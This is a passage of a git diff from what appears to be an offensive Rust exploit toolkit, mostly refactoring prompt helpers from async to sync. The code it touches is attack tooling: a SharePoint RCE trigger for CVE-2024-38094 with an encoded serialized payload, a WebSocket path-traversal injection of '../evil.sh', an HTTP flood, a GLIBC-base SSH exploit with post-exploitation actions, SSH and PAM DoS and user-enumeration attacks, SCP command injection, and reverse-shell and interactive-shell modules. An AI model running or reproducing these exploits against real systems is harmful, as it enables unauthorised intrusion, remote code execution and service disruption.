AUgBsAE0ARABnADUAWABWADAASQBBAGcAQQBBAEEAQQBJAEEAQQBBAEEASgBBAHcAQQBBAEEAQQBJAEEAQQBBAEEASgBCAEEAQQBBAEEAQQBRAEQAQQBBAEEAQQBqAFEARgBUAGUAWABOADAAWgBXADAAdQBRADIAOQBzAGIARwBWAGoAZABHAGwAdgBiAG4ATQB1AFIAMgBWAHUAWgBYAEoAcABZAHkANQBEAGIAMgAxAHcAWQBYAEoAcABjADIAOQB1AFEAMgA5AHQAYwBHAEYAeQBaAFgASgBnAE0AVgB0AGIAVQAzAGwAegBkAEcAVgB0AEwAbABOADAAYwBtAGwAdQBaAHkAdwBnAGIAWABOAGoAYgAzAEoAcwBhAFcASQBzAEkARgBaAGwAYwBuAE4AcABiADIANAA5AE4AQwA0AHcATABqAEEAdQBNAEMAdwBnAFEAMwBWAHMAZABIAFYAeQBaAFQAMQB1AFoAWABWADAAYwBtAEYAcwBMAEMAQgBRAGQAVwBKAHMAYQBXAE4ATABaAFgAbABVAGIAMgB0AGwAYgBqADEAaQBOAHoAZABoAE4AVwBNADEATgBqAEUANQBNAHoAUgBsAE0ARABnADUAWABWADAAQgBBAEEAQQBBAEMAMQA5AGoAYgAyADEAdwBZAFgASgBwAGMAMgA5AHUAQQB5AEoAVABlAFgATgAwAFoAVwAwAHUAUgBHAFYAcwBaAFcAZABoAGQARwBWAFQAWgBYAEoAcABZAFcAeABwAGUAbQBGADAAYQBXADkAdQBTAEcAOQBzAFoARwBWAHkAQwBRAFUAQQBBAEEAQQBSAEIAQQBBAEEAQQBBAEkAQQBBAEEAQQBHAEIAZwBBAEEAQQBBAHMAdgBZAHkAQgBqAFkAVwB4AGoATABtAFYANABaAFEAWQBIAEEAQQBBAEEAQQAyAE4AdABaAEEAUQBGAEEAQQBBAEEASQBsAE4ANQBjADMAUgBsAGIAUwA1AEUAWgBXAHgAbABaADIARgAwAFoAVgBOAGwAYwBtAGwAaABiAEcAbAA2AFkAWABSAHAAWwAyADUASQBiADIAeABrAFoAWABJAEQAQQBBAEEAQQBDAEUAUgBsAGIARwBWAG4AWQBYAFIAbABCADIAMQBsAGQARwBoAHYAWgBEAEEASABiAFcAVgAwAGEARwA5AGsATQBRAE0ARABBAHoAQgBUAGUAWABOADAAWgBXADAAdQBSAEcAVgBzAFoAVwBkAGgAZABHAFYAVABaAFgASgBwAFkAVwB4AHAAZQBtAEYAMABhAFcAOQB1AFMARwA5AHMAWgBHAFYAeQBLADAAUgBsAGIARwBWAG4AWQBYAFIAbABSAFcANQAwAGMAbgBrAHYAVQAzAGwAegBkAEcAVgB0AEwAbABKAGwAWgBtAHgAbABZADMAUgBwAGIAMgA0AHUAVABXAFYAdABZAG0AVgB5AFMAVwA1AG0AYgAxAE4AbABjAG0AbABoAGIARwBsADYAWQBYAFIAcABiADIANQBJAGIAMgB4AGsAWgBYAEkAdgBVADMAbAB6AGQARwBWAHQATABsAEoAbABaAG0AeABsAFkAMwBSAHAAYgAyADQAdQBUAFcAVgAw==" /></ObjectPaths></Request>"#;
|
||||
|
||||
let _ = client.post(&trigger_url)
|
||||
.header("X-RequestDigest", &digest)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("X-RequestForceAuthentication", "true")
|
||||
.basic_auth(&username, Some(&password))
|
||||
.body(trigger_xml)
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
println!("{}", "[*] Exploit trigger sent. Check if payload executed.".green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "Microsoft SharePoint RCE (CVE-2024-38094)".green().bold());
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod cve_2024_38094;
|
||||
@@ -101,9 +101,9 @@ async fn execute(host: &str, port: u16, path: &str) -> Result<()> {
|
||||
/// Sends a malicious 'load' event over WS with a track name containing ../
|
||||
async fn ws_inject_path_traversal(host: &str, port: u16) -> Result<()> {
|
||||
// Prompt for malicious filename using shared utilities
|
||||
let malicious_name = prompt_default("Malicious filename", "../evil.sh").await?;
|
||||
let track_id = prompt_default("Fake track ID", "INJECT1").await?;
|
||||
let codec = prompt_default("Codec extension", "mp3").await?;
|
||||
let malicious_name = prompt_default("Malicious filename", "../evil.sh")?;
|
||||
let track_id = prompt_default("Fake track ID", "INJECT1")?;
|
||||
let codec = prompt_default("Codec extension", "mp3")?;
|
||||
|
||||
let payload = json!({
|
||||
"type": "load",
|
||||
@@ -169,7 +169,7 @@ async fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
return Ok((host, port));
|
||||
} else {
|
||||
// No port provided, prompt for it
|
||||
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
|
||||
let port = prompt_int_range("Target port", 17086, 1, 65535)? as u16;
|
||||
return Ok((host, port));
|
||||
}
|
||||
}
|
||||
@@ -184,7 +184,7 @@ async fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
Ok((host, port))
|
||||
} else {
|
||||
// No port provided, prompt for it
|
||||
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
|
||||
let port = prompt_int_range("Target port", 17086, 1, 65535)? as u16;
|
||||
Ok((normalized, port))
|
||||
}
|
||||
}
|
||||
@@ -210,7 +210,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("6. Flood HTTP endpoint (DoS)");
|
||||
println!("7. Exit");
|
||||
|
||||
let choice = prompt_int_range("Choose an option", 1, 1, 7).await? as u8;
|
||||
let choice = prompt_int_range("Choose an option", 1, 1, 7)? as u8;
|
||||
|
||||
match choice {
|
||||
1 => {
|
||||
@@ -234,9 +234,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
6 => {
|
||||
// Flood prompts using shared utilities
|
||||
let path = prompt_default("Endpoint to flood", "/playback/next").await?;
|
||||
let count = prompt_int_range("Number of requests", 100, 1, 10000).await? as usize;
|
||||
let delay = prompt_int_range("Delay between requests (ms)", 0, 0, 10000).await? as f64 / 1000.0;
|
||||
let path = prompt_default("Endpoint to flood", "/playback/next")?;
|
||||
let count = prompt_int_range("Number of requests", 100, 1, 10000)? as usize;
|
||||
let delay = prompt_int_range("Delay between requests (ms)", 0, 0, 10000)? as f64 / 1000.0;
|
||||
|
||||
dos_flood(&host, port, &path, count, delay).await?;
|
||||
}
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
use std::io::{ErrorKind};
|
||||
use std::io::{ErrorKind, Write};
|
||||
use std::sync::Arc;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use colored::*;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
use crate::utils::prompt_port;
|
||||
|
||||
const MAX_PACKET_SIZE: usize = 256 * 1024;
|
||||
const LOGIN_GRACE_TIME: f64 = 120.0;
|
||||
@@ -409,59 +410,30 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
}
|
||||
|
||||
let ip_address = target_info.to_string();
|
||||
let port_num: u16;
|
||||
|
||||
loop {
|
||||
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
let mut port_input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut port_input)
|
||||
.await
|
||||
.context("Failed to read port from stdin")?;
|
||||
|
||||
match port_input.trim().parse::<u16>() {
|
||||
Ok(port) if port > 0 => {
|
||||
port_num = port;
|
||||
break;
|
||||
}
|
||||
Ok(_) => {
|
||||
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
let port_num = prompt_port("Enter the target port number", 22)?;
|
||||
|
||||
print_post_actions();
|
||||
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.ok();
|
||||
let mut choice_str = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut choice_str)
|
||||
.await
|
||||
.ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut attempts_str)
|
||||
.await
|
||||
.context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
|
||||
@@ -11,14 +11,14 @@
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::normalize_target;
|
||||
use crate::utils::{normalize_target, prompt_port};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Write,
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
@@ -415,16 +415,14 @@ pub async fn attack_bcrypt_truncation(
|
||||
}
|
||||
|
||||
/// Prompt helpers
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -434,16 +432,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -453,17 +449,15 @@ async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
@@ -489,7 +483,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
@@ -500,30 +494,30 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3").await?;
|
||||
let mode = prompt_default("Attack mode", "3")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let username = prompt_default("Username to test", "root").await?;
|
||||
let max_len: usize = prompt_default("Maximum password length", "8192").await?.parse().unwrap_or(8192);
|
||||
let username = prompt_default("Username to test", "root")?;
|
||||
let max_len: usize = prompt_default("Maximum password length", "8192")?.parse().unwrap_or(8192);
|
||||
attack_password_length_dos(&host, port, &username, max_len).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_password_change_leak(&host, port).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true).await? {
|
||||
if prompt_yes_no("Use default username list?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)")?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
@@ -540,8 +534,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
attack_auth_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt_default("Username", "root").await?;
|
||||
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword").await?;
|
||||
let username = prompt_default("Username", "root")?;
|
||||
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword")?;
|
||||
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::normalize_target;
|
||||
use crate::utils::{normalize_target, prompt_port};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
@@ -22,7 +22,7 @@ use std::{
|
||||
path::Path,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -455,30 +455,26 @@ pub async fn attack_pam_env_injection(
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -488,16 +484,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -507,17 +501,15 @@ async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
@@ -544,7 +536,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
@@ -555,31 +547,31 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3").await?;
|
||||
let mode = prompt_default("Attack mode", "3")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let iterations: u32 = prompt_default("Number of attempts", "100").await?.parse().unwrap_or(100);
|
||||
let delay: u64 = prompt_default("Delay between attempts (ms)", "100").await?.parse().unwrap_or(100);
|
||||
let iterations: u32 = prompt_default("Number of attempts", "100")?.parse().unwrap_or(100);
|
||||
let delay: u64 = prompt_default("Delay between attempts (ms)", "100")?.parse().unwrap_or(100);
|
||||
attack_pam_memory_dos(&host, port, iterations, delay).await?;
|
||||
}
|
||||
"2" => {
|
||||
let max_len: usize = prompt_default("Maximum username length", "8192").await?.parse().unwrap_or(8192);
|
||||
let max_len: usize = prompt_default("Maximum username length", "8192")?.parse().unwrap_or(8192);
|
||||
attack_pam_username_overflow(&host, port, max_len).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true).await? {
|
||||
if prompt_yes_no("Use default username list?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)")?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
@@ -592,13 +584,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
attack_pam_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt("Username").await?;
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
@@ -612,7 +604,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
|
||||
if prompt_yes_no("Run memory DoS test (50 iterations)?", false).await? {
|
||||
if prompt_yes_no("Run memory DoS test (50 iterations)?", false)? {
|
||||
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
|
||||
} else {
|
||||
println!("{}", "[*] Skipped".dimmed());
|
||||
|
||||
@@ -12,15 +12,15 @@
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::{normalize_target, validate_file_path};
|
||||
use crate::utils::{normalize_target, validate_file_path, prompt_port};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::Read,
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -336,30 +336,26 @@ pub async fn attack_scp_cmd_injection(
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -369,16 +365,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -396,7 +390,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
let port: u16 = prompt_port("SSH Port", 22)?;
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
@@ -407,7 +401,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "2").await?;
|
||||
let mode = prompt_default("Attack mode", "2")?;
|
||||
|
||||
// Mode 2 doesn't require auth
|
||||
if mode == "2" {
|
||||
@@ -416,13 +410,13 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Other modes require authentication
|
||||
let username = prompt("Username").await?;
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password").await?;
|
||||
let keyfile = prompt_optional("SSH Key File Path").await?;
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
// Validate keyfile path if provided
|
||||
if let Some(ref kf) = keyfile {
|
||||
@@ -442,7 +436,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
attack_scp_traversal(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"3" => {
|
||||
let depth: u32 = prompt_default("Brace expansion depth", "10").await?.parse().unwrap_or(10);
|
||||
let depth: u32 = prompt_default("Brace expansion depth", "10")?.parse().unwrap_or(10);
|
||||
attack_scp_brace_dos(&host, port, &username, password_ref, keyfile_ref, depth).await?;
|
||||
}
|
||||
"4" => {
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use crate::utils::{normalize_target, validate_command_input, validate_file_path};
|
||||
use crate::utils::{normalize_target, validate_command_input, validate_file_path, prompt_port};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
@@ -24,7 +24,7 @@ use std::{
|
||||
path::Path,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
@@ -260,14 +260,12 @@ pub async fn attack_revshell(
|
||||
println!();
|
||||
|
||||
print!("Press Enter to send payload...");
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
|
||||
attack_exec(host, port, username, password, keyfile, &cmd, 5).await
|
||||
@@ -357,18 +355,17 @@ pub async fn attack_interactive_shell(
|
||||
cwd = pwd.trim().to_string();
|
||||
}
|
||||
|
||||
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
|
||||
let stdin_reader = std::io::stdin();
|
||||
loop {
|
||||
// Print prompt
|
||||
print!("{}", format!("{}@{}:{} $ ", username, host, cwd).green());
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
|
||||
// Read command
|
||||
let mut input = String::new();
|
||||
if stdin_reader.read_line(&mut input).await.is_err() {
|
||||
if stdin_reader.read_line(&mut input).is_err() {
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -495,30 +492,26 @@ pub async fn attack_interactive_shell(
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -528,16 +521,14 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -555,14 +546,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
|
||||
